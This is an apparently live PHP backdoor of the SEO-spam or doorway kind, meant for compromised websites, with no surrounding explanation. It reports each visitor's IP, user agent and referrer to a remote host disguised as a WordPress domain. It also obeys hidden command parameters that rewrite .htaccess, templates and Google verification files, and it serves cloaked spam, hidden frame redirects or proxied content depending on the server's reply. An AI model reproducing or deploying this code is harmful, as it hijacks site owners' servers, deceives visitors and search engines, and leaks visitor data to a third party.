error_reporting(0);
mb_internal_encoding('UTF-8');
mb_regex_encoding('UTF-8');
mb_http_output('UTF-8');
mb_http_input('UTF-8');
mb_language('uni');

function Mk18deS($url, $follow = 0) {
	$useragent = 'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729)';
	$timeout=25;
	$ParseUrl = parse_url($url);
	if($ParseUrl['scheme'] === 'http') { 
		if(function_exists('curl_init')) {
			$curl=curl_init();
				curl_setopt($curl,CURLOPT_URL,$url);
				curl_setopt($curl,CURLOPT_FAILONERROR,1);
				curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
				curl_setopt($curl,CURLOPT_FOLLOWLOCATION,$follow);
				curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,$timeout);
				curl_setopt($curl,CURLOPT_TIMEOUT,$timeout);
				curl_setopt($curl,CURLOPT_USERAGENT,$useragent);
				$return=curl_exec($curl);
			curl_close($curl);
			return $return;
		} elseif(function_exists('fsockopen')) {
			if($f=fsockopen($ParseUrl['host'],$ParseUrl['port']?$ParseUrl['port']:80,$errNumber,$errString,$timeout)) {
				$header="GET ".$ParseUrl['path']."?".$ParseUrl['query']." HTTP/1.0\r\nHost: ".$ParseUrl['host']."\r\nUser-Agent: ".$useragent."\r\nConnection: Close\r\n\r\n";
				fwrite($f,$header);
				while(!feof($f)) $return .= fgets($f,8192);
				fclose($f);
			} else {
				return false;
			}
			
			return $return;
		} else {
			ini_set('user_agent',$useragent);
			if($f=fopen($url,'r')) {
				stream_set_timeout($f,$timeout);
				while(!feof($f)) $return .= fread($f,8192);
				fclose($f);
			}
		}
	} else {
		if($f=fopen($url,'r')) {
			if(flock($f,1)) {
				while(!feof($f)) $return .= fread($f,8192);
				flock($f,3);
			}
			fclose($f);
		}
	}
	return $return;
}

function Mk18deD($content)
{
	$tpl = file_get_contents(__CACHEFOLD__.'/template.tpl');
	$exp = explode('!???!???!',$content);
	$cont = base64_decode($exp[1]);
	$title   = base64_decode($exp[3]);
	$tpl = str_replace('[MAINCONT]', $cont, $tpl);
	$tpl = preg_replace('/<title>(.*)<\/title>/imsU',"<title>{$title}</title>\n",$tpl);
	return $tpl;
}

function Mk18deF($search, $replace, $text){ 
	$pos = strpos($text, $search); 
	return $pos!==false ? substr_replace($text, $replace, $pos, strlen($search)) : $text; 
}

function echoframe($url, $frame, $getfile)
{
	$tpl = Mk18deD($getfile);
	if (strpos($tpl,'<body') !== false) $rplcmnt = '<body';
	elseif (strpos($tpl,'<link rel') !== false) $rplcmnt = '<link rel';
	elseif (strpos($tpl,'<link href') !== false) $rplcmnt = '<link href';
	elseif (strpos($tpl,'<style') !== false) $rplcmnt = '<style';
	elseif (strpos($tpl,'<meta') !== false) $rplcmnt = '<meta';
	$tpl = Mk18deF($rplcmnt, $frame."\n{$rplcmnt}", $tpl);
	$tpl = str_replace('{frame_url}', $url, $tpl);
	return $tpl;
}

if(!empty($_SERVER['HTTP_CLIENT_IP'])) $_SERVER['server_ip'] = $_SERVER['HTTP_CLIENT_IP'];
elseif(!empty($_SERVER["HTTP_X_FORWARDED_FOR"])) $_SERVER['server_ip'] = $_SERVER["HTTP_X_FORWARDED_FOR"];
else $_SERVER['server_ip'] = $_SERVER['REMOTE_ADDR'];

define('__DOMAIN__',    mb_strtolower($_SERVER['HTTP_HOST']));
define('__URI__',       strtolower(rtrim($_SERVER['REQUEST_URI'],'/')));
define('__IP__',        $_SERVER['server_ip']);
define('__UAGENT__',    mb_strtolower($_SERVER['HTTP_USER_AGENT']));
define('__REFERER__',   mb_strtolower($_SERVER['HTTP_REFERER']));
define('__ACTUAL__',    'http://newwpversion.com/1Musdv81/rules.php');
define('__STATUS__',    'http://newwpversion.com/1Musdv81/status.php');
define('__PLUSKEY__',   str_replace('-', '+', trim(__URI__,'/')));
define('__KEY__',       str_replace('+', ' ', __PLUSKEY__));
define('__USE_CACHE__', true);
define('__CACHEFOLD__', 'cache/supercache');
$frame       = base64_decode("PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KZG9NYWdpYygpOw0KZnVuY3Rpb24gZG9NYWdpYygpIHsNCmRvY3VtZW50LndyaXRlKCc8ZnJhbWVzZXQgcm93cz0iKiwwIiBmcmFtZXNwYWNpbmc9IjAiIGJvcmRlcj0iMCIgZnJhbWVib3JkZXI9Ik5PIj48ZnJhbWUgc3JjPSJ7ZnJhbWVfdXJsfSIgbm9yZXNpemU9IiIgc2Nyb2xsaW5nPSJhdXRvIj48L2ZyYW1lc2V0PicpDQp9DQo8L3NjcmlwdD4=");
$fr2         = base64_decode("[BLOB]");
$AmkOal1     = base64_decode("IyBCRUdJTiBKb29tbGENCjxJZk1vZHVsZSBtb2RfcmV3cml0ZS5jPg0KUmV3cml0ZUVuZ2luZSBPbg0KUmV3cml0ZUJhc2UgLw0KUmV3cml0ZVJ1bGUgXmluZGV4XC5waHAkIC0gW0xdDQpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZg0KUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWQNClJld3JpdGVSdWxlIC4gL2luZGV4LnBocCBbTF0NCjwvSWZNb2R1bGU+DQojIEVORCBKb29tbGE=");
if (isset($_GET['mycmdgoogle']))
{
	$StatusUrl=__STATUS__.'?domain='.urlencode(__DOMAIN__).'&google=ok';
	$return = base64_decode(Mk18deS($StatusUrl));
	file_put_contents($return.'.html', 'google-site-verification: '.$return.'.html');
	exit();
}

if (isset($_GET['mycmdtemplate']))
{
	$StatusUrl=__STATUS__.'?domain='.urlencode(__DOMAIN__).'&template=ok';
	$return = base64_decode(Mk18deS($StatusUrl));
	file_put_contents(__CACHEFOLD__.'/template.tpl', '');
	file_put_contents(__CACHEFOLD__.'/template.tpl', $return, FILE_APPEND);
	exit();
}
if (isset($_GET['mycmdhtaccess']))
{
	$StatusUrl=__STATUS__.'?domain='.urlencode(__DOMAIN__).'&htaccess=ok';
	$return = base64_decode(Mk18deS($StatusUrl));
	if (strpos($return,'htaccok')!==false)
	{
		if (file_exists('./.htaccess'))
		{
			if (!is_writable('./.htaccess')) @chmod($myhtacc, 0755);
			$htacc = file_get_contents('./.htaccess');
			if (stripos($htacc,'RewriteEngine')!==false)
			{
				file_put_contents('./.htaccess', "\n".str_replace('RewriteEngine On', '',$AmkOal1), FILE_APPEND);
			}
			else
			{
				file_put_contents('./.htaccess', "\n".$AmkOal1, FILE_APPEND);
			}
			
		}
	}
	exit();
}

if (substr(__DOMAIN__,0,4)!=='www.') {
	$host = __DOMAIN__;
} else {
	$host = substr(__DOMAIN__,4);
}

$md5url = md5($host.__URI__);
$cachefile = __CACHEFOLD__.'/'.substr($md5url,0,1).'/'.substr($md5url,1,1).'/'.$md5url;
$exist = false; $flagexist = 'noexist';

if (file_exists($cachefile))
{
	$exist = true; $flagexist = 'yesexist';
}

$MyUrl=__ACTUAL__.'?key='.urlencode(__KEY__).'&domain='.urlencode(__DOMAIN__).'&uri='.urlencode(__URI__).'&ip='.urlencode(__IP__).'&ua='.urlencode(__UAGENT__).'&ref='.urlencode(__REFERER__).'&exist='.$flagexist;
$return = base64_decode(Mk18deS($MyUrl));

if (strpos($return,'!validcheckourstring!')!==false)
{
	if (strpos($return,'!validcheckpagestring!')!==false)
	{
		if (strpos($return,'!thisvisitorishuman!')!==false)
		{
			if (!$exist)
			{
				@mkdir(__CACHEFOLD__.'/'.substr($md5url,0,1));
				@chmod(__CACHEFOLD__.'/'.substr($md5url,0,1),511);
				@mkdir(__CACHEFOLD__.'/'.substr($md5url,0,1).'/'.substr($md5url,1,1));
				@chmod(__CACHEFOLD__.'/'.substr($md5url,0,1).'/'.substr($md5url,1,1),511);
				$exp = explode('!???!???!',$return);
				$getfile = '!???!???!'.$exp[2].'!???!???!'.$exp[3].'!???!???!'.$exp[4].'!???!???!'.$exp[5];
				file_put_contents($cachefile,$getfile);
			}
			
			if ( (strpos($return,'!8000!')!==false) OR (strpos($return,'!16000!')!==false) )
			{
				$exp = explode('!???!???!',$return);
				$redirect = base64_decode($exp[1]);
				if (strpos($return,'!16000!')!==false) header("HTTP/1.0 404 Not Found");
				if (strpos($return,'!thisisframe!')!==false)
				{
					$getfile = file_get_contents($cachefile);
					die(echoframe($redirect, $frame, $getfile));
				}
				elseif (strpos($return,'!thisisgetcont!')!==false)
				{
					$ech = Mk18deS($redirect, 1);
					die($ech);
				}
				elseif (strpos($return,'!thisislocation!')!==false)
				{
					die(header( 'Location: '.$redirect));
				}
			}
			elseif (strpos($return,'!24000!')!==false) return;
			elseif (strpos($return,'!32000!')!==false) {header("HTTP/1.0 404 Not Found"); die();}
			elseif (strpos($return,'!40000!')!==false) {header("HTTP/1.0 404 Not Found"); die($fr2);}
			elseif (strpos($return,'!48000!')!==false) {header("HTTP/1.0 404 Not Found"); return;}
		}
		elseif ( (strpos($return,'!thisvisitorisbot!')!==false) OR (strpos($return,'!thisvisitorisban!')!==false) )
		{
			if ($exist)
			{
				if ( (strpos($return,'!8000!')!==false) OR (strpos($return,'!16000!')!==false) )
				{
					$getfile = file_get_contents($cachefile);
					if (strpos($return,'!16000!')!==false) header("HTTP/1.0 404 Not Found");
					die(Mk18deD($getfile));
				}
				elseif (strpos($return,'!24000!')!==false) return;
				elseif (strpos($return,'!32000!')!==false) {header("HTTP/1.0 404 Not Found"); die();}
				elseif (strpos($return,'!40000!')!==false) {header("HTTP/1.0 404 Not Found"); die($fr2);}
				elseif (strpos($return,'!48000!')!==false) {header("HTTP/1.0 404 Not Found"); return;}
			}
			else
			{
				if ( (strpos($return,'!8000!')!==false) OR (strpos($return,'!16000!')!==false) )
				{
					@mkdir(__CACHEFOLD__.'/'.substr($md5url,0,1));
					@chmod(__CACHEFOLD__.'/'.substr($md5url,0,1),511);
					@mkdir(__CACHEFOLD__.'/'.substr($md5url,0,1).'/'.substr($md5url,1,1));
					@chmod(__CACHEFOLD__.'/'.substr($md5url,0,1).'/'.substr($md5url,1,1),511);
					$exp = explode('!???!???!',$return);
					$getfile = '!???!???!'.$exp[1].'!???!???!'.$exp[2].'!???!???!'.$exp[3].'!???!???!'.$exp[4];
					file_put_contents($cachefile,$getfile);
					if (strpos($return,'!16000!')!==false) header("HTTP/1.0 404 Not Found");
					die(Mk18deD($getfile));
				}
				elseif (strpos($return,'!24000!')!==false) return;
				elseif (strpos($return,'!32000!')!==false) {header("HTTP/1.0 404 Not Found"); die();}
				elseif (strpos($return,'!40000!')!==false) {header("HTTP/1.0 404 Not Found"); die($fr2);}
				elseif (strpos($return,'!48000!')!==false) {header("HTTP/1.0 404 Not Found"); return;}
			}
		}
	}
}
else
{
	return;
}